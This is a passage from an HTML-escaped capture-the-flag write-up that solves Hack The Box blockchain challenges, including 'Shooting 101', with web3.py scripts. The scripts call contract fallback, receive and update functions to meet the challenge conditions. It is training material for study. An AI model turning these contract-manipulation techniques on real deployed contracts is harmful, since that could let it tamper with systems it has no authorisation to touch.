&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">UNKNOWN_ABI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;uint256&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;version&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;uint256&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;updateSensors&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;nonpayable&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;updated&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">setup_contract&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">contract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">SET_UP_ADRESSS&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">abi&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">SET_UP_ABI&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">unknown_contract&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">contract&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">UNKNOWN_ADRESSS&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">abi&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">UNKNOWN_ABI&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">unknown_contract&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">functions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">updateSensors&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">build_transaction&lt;/span>&lt;span class="p">({&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;from&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;value&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;gas&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">300000&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;gasPrice&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">to_wei&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;10&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="s1">&amp;#39;gwei&amp;#39;&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;nonce&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_transaction_count&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">my_account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">address&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">signed_transaction&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">sign_transaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">PRIVATE_KEY&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction_hash&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send_raw_transaction&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">signed_transaction&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">rawTransaction&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">transaction_receipt&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">wait_for_transaction_receipt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">transaction_hash&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">isSolve&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">setup_contract&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">functions&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">isSolved&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">call&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Challenge solved:&amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">isSolve&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You can get both SET_UP_ABI and UNKNOWN_ABI by using &lt;a href="https://remix.ethereum.org" target="_blank" rel="noopener">Remix IDE&lt;/a> to compile the contracts and get the ABIs. After running the script and we got the flag.&lt;/p>
&lt;img src="Solved1.png" alt="Solved" width="1000"/>
&lt;p>Flag is: &lt;strong>HTB{9P5_50FtW4R3_UPd4t3D}&lt;/strong>&lt;/p>
&lt;h2 id="shooting-101">Shooting 101&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Given zip:&lt;/strong> &lt;a href="https://drive.google.com/drive/folders/1xT9d1NQPWw5coVwSezV8FBHyyn31QE1c?usp=share_link" target="_blank" rel="noopener">Get it here!&lt;/a>&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> Your metallic body might have advanced targeting systems, but hitting a target is not just about technical proficiency. To truly master the art of targeting, you must learn to trust your instincts and develop a keen sense of intuition. During this training, you will emerge as a skilled marksman who can hit the targets with deadly precision. It&amp;rsquo;s about time to train and prove yourself in the Shooting Area, can you make it?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Note:&lt;/strong> This challenge had a docker but it might be closed at the time you are reading this. All needed files will be given in the write-ups.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Blockchain&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Very Easy&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>In the Shooting 101 blockchain challenge, we have two smart contracts: &lt;code>Setup&lt;/code> and &lt;code>ShootingArea&lt;/code>. The goal of this challenge is to set the three boolean variables &lt;code>firstShot&lt;/code>, &lt;code>secondShot&lt;/code>, and &lt;code>thirdShot&lt;/code> in the &lt;code>ShootingArea&lt;/code> contract to &lt;code>true&lt;/code>. The contract has a few functions with specific modifiers that ensure they can only be called under certain conditions.&lt;/p>
&lt;p>To solve the challenge, we need to interact with the contracts and call the functions in the correct order:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>Call the fallback function of the ShootingArea contract by sending a transaction with 32 bytes of zero data, setting firstShot to true.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Call the receive function of the ShootingArea contract by sending a transaction with a non-zero amount of Ether and an empty data field, setting secondShot to true.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Call the &lt;code>third()&lt;/code> function of the ShootingArea contract to set thirdShot to true. Note that we might need to call this function multiple times to ensure it sets the variable to true.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Finally, call the &lt;code>isSolved()&lt;/code> function in the Setup contract to verify if the challenge is solved.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>The provided Python script uses the &lt;code>web3.py&lt;/code> library to interact with the Ethereum contracts:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">web3&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">Web3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Replace the following values with the ones from the challenge&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">RPC_URL&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;http://165.232.98.69:32406&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">PRIVATE_KEY&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;0xc3416ed8c225000b2b46142b478717e88548165fd4ed3e6afeaf7e9dba27b0af&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SETUP_CONTRACT_ADDRESS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;0x671C8C0f14f48098419FD7E3a51123f8f35F5173&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TARGET_CONTRACT_ADDRESS&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;0x544D171d157A7Ebe08C32d1C5e6EEfaaa4e4E889&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">w3&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Web3&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Web3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">HTTPProvider&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">RPC_URL&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Get your account from the provided private key&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">my_account&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">w3&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">eth&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">account&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">from_key&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">PRIVATE_KEY&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Setup contract ABI&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">SETUP_CONTRACT_ABI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;nonpayable&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;constructor&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;TARGET&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;contract ShootingArea&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;address&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;isSolved&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Target contract ABI&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">TARGET_CONTRACT_ABI&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;payable&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;fallback&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;firstShot&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;stateMutability&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;view&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;type&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;function&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;inputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[],&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;name&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;secondShot&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;outputs&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">[&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;internalType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;bool&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
